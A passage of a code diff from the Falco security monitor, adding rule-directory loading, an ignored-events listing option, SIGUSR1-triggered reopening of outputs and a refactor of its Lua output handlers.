void init(std::list<std::string> &cmdline_options);
static void read_rules_file_directory(const string &path, list<string> &rules_filenames);
std::list<std::string> m_rules_filenames;
bool m_json_output;
bool m_json_include_output_property;
std::vector<falco_outputs::output_config> m_outputs;
uint32_t m_notifications_rate;
uint32_t m_notifications_max_burst;

View File

@@ -22,6 +22,8 @@ along with falco. If not, see <http://www.gnu.org/licenses/>.
#include <fstream>
#include <set>
#include <list>
#include <vector>
#include <algorithm>
#include <string>
#include <signal.h>
#include <fcntl.h>
@@ -32,6 +34,7 @@ along with falco. If not, see <http://www.gnu.org/licenses/>.
#include <sinsp.h>
#include "logger.h"
#include "utils.h"
#include "configuration.h"
#include "falco_engine.h"
@@ -39,6 +42,8 @@ along with falco. If not, see <http://www.gnu.org/licenses/>.
#include "statsfilewriter.h"
bool g_terminate = false;
bool g_reopen_outputs = false;
//
// Helper functions
//
@@ -47,6 +52,11 @@ static void signal_callback(int signal)
g_terminate = true;
}
static void reopen_outputs(int signal)
{
g_reopen_outputs = true;
}
//
// Program help
//
@@ -99,8 +109,9 @@ static void usage()
" of %%container.info in rule output fields\n"
" See the examples section below for more info.\n"
" -P, --pidfile <pid_file> When run as a daemon, write pid to specified file\n"
" -r <rules_file> Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n"
" Can be specified multiple times to read from multiple files.\n"
" -r <rules_file> Rules file/directory (defaults to value set in configuration file,\n"
" or /etc/falco_rules.yaml). Can be specified multiple times to read\n"
" from multiple files/directories.\n"
" -s <stats_file> If specified, write statistics related to falco's reading/processing of events\n"
" to this file. (Only useful in live mode).\n"
" -T <tag> Disable any rules with a tag=<tag>. Can be specified multiple times.\n"
@@ -143,7 +154,8 @@ uint64_t do_inspect(falco_engine *engine,
falco_outputs *outputs,
sinsp* inspector,
uint64_t duration_to_tot_ns,
string &stats_filename)
string &stats_filename,
bool all_events)
{
uint64_t num_evts = 0;
int32_t res;
@@ -171,6 +183,12 @@ uint64_t do_inspect(falco_engine *engine,
writer.handle();
if(g_reopen_outputs)
{
outputs->reopen_outputs();
g_reopen_outputs = false;
}
if (g_terminate)
{
break;
@@ -204,8 +222,7 @@ uint64_t do_inspect(falco_engine *engine,
}
}
if(!inspector->is_debug_enabled() &&
ev->get_category() & EC_INTERNAL)
if(!ev->falco_consider() && !all_events)
{
continue;
}
@@ -227,6 +244,47 @@ uint64_t do_inspect(falco_engine *engine,
return num_evts;
}
static void print_all_ignored_events(sinsp *inspector)
{
sinsp_evttables* einfo = inspector->get_event_info_tables();
const struct ppm_event_info* etable = einfo->m_event_info;
const struct ppm_syscall_desc* stable = einfo->m_syscall_info_table;
std::set<string> ignored_event_names;
for(uint32_t j = 0; j < PPM_EVENT_MAX; j++)
{
if(!sinsp::falco_consider_evtnum(j))
{
std::string name = etable[j].name;
// Ignore event names NA*
if(name.find("NA") != 0)
{
ignored_event_names.insert(name);
}
}
}
for(uint32_t j = 0; j < PPM_SC_MAX; j++)
{
if(!sinsp::falco_consider_syscallid(j))
{
std::string name = stable[j].name;
// Ignore event names NA*
if(name.find("NA") != 0)
{
ignored_event_names.insert(name);
}
}
}
printf("Ignored Event(s):");
for(auto it : ignored_event_names)
{
printf(" %s", it.c_str());
}
printf("\n");
}
//
// ARGUMENT PARSING AND PROGRAM SETUP
//
@@ -256,6 +314,7 @@ int falco_init(int argc, char **argv)
string output_format = "";
bool replace_container_info = false;
int duration_to_tot = 0;
bool print_ignored_events = false;
// Used for writing trace files
int duration_seconds = 0;
@@ -285,6 +344,7 @@ int falco_init(int argc, char **argv)
{"version", no_argument, 0, 0 },
{"validate", required_argument, 0, 'V' },
{"writefile", required_argument, 0, 'w' },
{"ignored-events", no_argument, 0, 'i'},
{0, 0, 0, 0}
};
@@ -301,7 +361,7 @@ int falco_init(int argc, char **argv)
// Parse the args
//
while((op = getopt_long(argc, argv,
"hc:AdD:e:k:K:Ll:m:M:o:P:p:r:s:T:t:UvV:w:",
"hc:AdD:e:ik:K:Ll:m:M:o:P:p:r:s:T:t:UvV:w:",
long_options, &long_index)) != -1)
{
switch(op)
@@ -327,6 +387,9 @@ int falco_init(int argc, char **argv)
k8s_api = new string();
mesos_api = new string();
break;
case 'i':
print_ignored_events = true;
break;
case 'k':
k8s_api = new string(optarg);
break;
@@ -378,7 +441,7 @@ int falco_init(int argc, char **argv)
}
break;
case 'r':
rules_filenames.push_back(optarg);
falco_configuration::read_rules_file_directory(string(optarg), rules_filenames);
break;
case 's':
stats_filename = optarg;
@@ -417,12 +480,20 @@ int falco_init(int argc, char **argv)
return EXIT_SUCCESS;
}
inspector = new sinsp();
if(print_ignored_events)
{
print_all_ignored_events(inspector);
delete(inspector);
return EXIT_SUCCESS;
}
engine = new falco_engine();
engine->set_inspector(inspector);
engine->set_extra(output_format, replace_container_info);
outputs = new falco_outputs();
outputs->set_inspector(inspector);
@@ -503,13 +574,19 @@ int falco_init(int argc, char **argv)
if(config.m_rules_filenames.size() == 0)
{
throw std::invalid_argument("You must specify at least one rules file via -r or a rules_file entry in falco.yaml");
throw std::invalid_argument("You must specify at least one rules file/directory via -r or a rules_file entry in falco.yaml");
}
falco_logger::log(LOG_DEBUG, "Configured rules filenames:\n");
for (auto filename : config.m_rules_filenames)
{
falco_logger::log(LOG_DEBUG, string(" ") + filename + "\n");
}
for (auto filename : config.m_rules_filenames)
{
falco_logger::log(LOG_INFO, "Loading rules from file " + filename + ":\n");
engine->load_rules_file(filename, verbose, all_events);
falco_logger::log(LOG_INFO, "Parsed rules from file " + filename + "\n");
}
// You can't both disable and enable rules
@@ -547,12 +624,14 @@ int falco_init(int argc, char **argv)
}
outputs->init(config.m_json_output,
config.m_json_include_output_property,
config.m_notifications_rate, config.m_notifications_max_burst,
config.m_buffered_outputs);
if(!all_events)
{
inspector->set_drop_event_flags(EF_DROP_FALCO);
inspector->start_dropping_mode(1);
}
if (describe_all_rules)
@@ -588,6 +667,13 @@ int falco_init(int argc, char **argv)
goto exit;
}
if(signal(SIGUSR1, reopen_outputs) == SIG_ERR)
{
fprintf(stderr, "An error occurred while setting SIGUSR1 signal handler.\n");
result = EXIT_FAILURE;
goto exit;
}
if (scap_filename.size())
{
inspector->open(scap_filename);
@@ -732,7 +818,8 @@ int falco_init(int argc, char **argv)
outputs,
inspector,
uint64_t(duration_to_tot*ONE_SECOND_IN_NS),
stats_filename);
stats_filename,
all_events);
duration = ((double)clock()) / CLOCKS_PER_SEC - duration;

View File

@@ -52,7 +52,9 @@ falco_outputs::~falco_outputs()
}
}
void falco_outputs::init(bool json_output, uint32_t rate, uint32_t max_burst, bool buffered)
void falco_outputs::init(bool json_output,
bool json_include_output_property,
uint32_t rate, uint32_t max_burst, bool buffered)
{
// The engine must have been given an inspector by now.
if(! m_inspector)
@@ -65,7 +67,7 @@ void falco_outputs::init(bool json_output, uint32_t rate, uint32_t max_burst, bo
// Note that falco_formats is added to both the lua state used
// by the falco engine as well as the separate lua state used
// by falco outputs.
falco_formats::init(m_inspector, m_ls, json_output);
falco_formats::init(m_inspector, m_ls, json_output, json_include_output_property);
falco_logger::init(m_ls);
@@ -140,3 +142,19 @@ void falco_outputs::handle_event(sinsp_evt *ev, string &rule, falco_common::prio
}
}
void falco_outputs::reopen_outputs()
{
lua_getglobal(m_ls, m_lua_output_reopen.c_str());
if(!lua_isfunction(m_ls, -1))
{
throw falco_exception("No function " + m_lua_output_reopen + " found. ");
}
if(lua_pcall(m_ls, 0, 0, 0) != 0)
{
const char* lerr = lua_tostring(m_ls, -1);
throw falco_exception(string(lerr));
}
}

View File

@@ -41,7 +41,9 @@ public:
std::map<std::string, std::string> options;
};
void init(bool json_output, uint32_t rate, uint32_t max_burst, bool buffered);
void init(bool json_output,
bool json_include_output_property,
uint32_t rate, uint32_t max_burst, bool buffered);
void add_output(output_config oc);
@@ -51,6 +53,8 @@ public:
//
void handle_event(sinsp_evt *ev, std::string &rule, falco_common::priority_type priority, std::string &format);
void reopen_outputs();
private:
bool m_initialized;
@@ -62,5 +66,6 @@ private:
std::string m_lua_add_output = "add_output";
std::string m_lua_output_event = "output_event";
std::string m_lua_output_cleanup = "output_cleanup";
std::string m_lua_output_reopen = "output_reopen";
std::string m_lua_main_filename = "output.lua";
};

View File

@@ -20,8 +20,8 @@ local mod = {}
local outputs = {}
function mod.stdout(priority, priority_num, buffered, msg)
if buffered == 0 then
function mod.stdout(priority, priority_num, msg, options)
if options.buffered == 0 then
io.stdout:setvbuf 'no'
end
print (msg)
@@ -31,6 +31,10 @@ function mod.stdout_cleanup()
io.stdout:flush()
end
-- Note: not actually closing/reopening stdout
function mod.stdout_reopen(options)
end
function mod.file_validate(options)
if (not type(options.filename) == 'string') then
error("File output needs to be configured with a valid filename")
@@ -44,73 +48,98 @@ function mod.file_validate(options)
end
function mod.file(priority, priority_num, buffered, msg, options)
if options.keep_alive == "true" then
if file == nil then
file = io.open(options.filename, "a+")
if buffered == 0 then
file:setvbuf 'no'
end
function mod.file_open(options)
if ffile == nil then
ffile = io.open(options.filename, "a+")
if options.buffered == 0 then
ffile:setvbuf 'no'
end
end
end
function mod.file(priority, priority_num, msg, options)
if options.keep_alive == "true" then
mod.file_open(options)
else
file = io.open(options.filename, "a+")
ffile = io.open(options.filename, "a+")
end
file:write(msg, "\n")
ffile:write(msg, "\n")
if options.keep_alive == nil or
options.keep_alive ~= "true" then
file:close()
file = nil
options.keep_alive ~= "true" then
ffile:close()
ffile = nil
end
end
function mod.file_cleanup()
if file ~= nil then
file:flush()
file:close()
file = nil
if ffile ~= nil then
ffile:flush()
ffile:close()
ffile = nil
end
end
function mod.syslog(priority, priority_num, buffered, msg, options)
function mod.file_reopen(options)
if options.keep_alive == "true" then
mod.file_cleanup()
mod.file_open(options)
end
end
function mod.syslog(priority, priority_num, msg, options)
falco.syslog(priority_num, msg)
end
function mod.syslog_cleanup()
end
function mod.program(priority, priority_num, buffered, msg, options)
function mod.syslog_reopen()
end
function mod.program_open(options)
if pfile == nil then
pfile = io.popen(options.program, "w")
if options.buffered == 0 then
pfile:setvbuf 'no'
end
end
end
function mod.program(priority, priority_num, msg, options)
-- XXX Ideally we'd check that the program ran
-- successfully. However, the luajit we're using returns true even
-- when the shell can't run the program.
-- Note: options are all strings
if options.keep_alive == "true" then
if file == nil then
file = io.popen(options.program, "w")
if buffered == 0 then
file:setvbuf 'no'
end
end
mod.program_open(options)
else
file = io.popen(options.program, "w")
pfile = io.popen(options.program, "w")
end
file:write(msg, "\n")
pfile:write(msg, "\n")
if options.keep_alive == nil or
options.keep_alive ~= "true" then
file:close()
file = nil
options.keep_alive ~= "true" then
pfile:close()
pfile = nil
end
end
function mod.program_cleanup()
if file ~= nil then
file:flush()
file:close()
file = nil
if pfile ~= nil then
pfile:flush()
pfile:close()
pfile = nil
end
end
function mod.program_reopen(options)
if options.keep_alive == "true" then
mod.program_cleanup()
mod.program_open(options)
end
end
@@ -126,7 +155,7 @@ function output_event(event, rule, priority, priority_num, format)
msg = formats.format_event(event, rule, priority, format)
for index,o in ipairs(outputs) do
o.output(priority, priority_num, o.buffered, msg, o.config)
o.output(priority, priority_num, msg, o.options)
end
end
@@ -137,20 +166,33 @@ function output_cleanup()
end
end
function add_output(output_name, buffered, config)
function output_reopen()
for index,o in ipairs(outputs) do
o.reopen(o.options)
end
end
function add_output(output_name, buffered, options)
if not (type(mod[output_name]) == 'function') then
error("rule_loader.add_output(): invalid output_name: "..output_name)
end
-- outputs can optionally define a validation function so that we don't
-- find out at runtime (when an event finally matches a rule!) that the config is invalid
-- find out at runtime (when an event finally matches a rule!) that the options are invalid
if (type(mod[output_name.."_validate"]) == 'function') then
mod[output_name.."_validate"](config)
mod[output_name.."_validate"](options)
end
if options == nil then
options = {}
end
options.buffered = buffered
table.insert(outputs, {output = mod[output_name],
cleanup = mod[output_name.."_cleanup"],
buffered=buffered, config=config})
reopen = mod[output_name.."_reopen"],
options=options})
end
return mod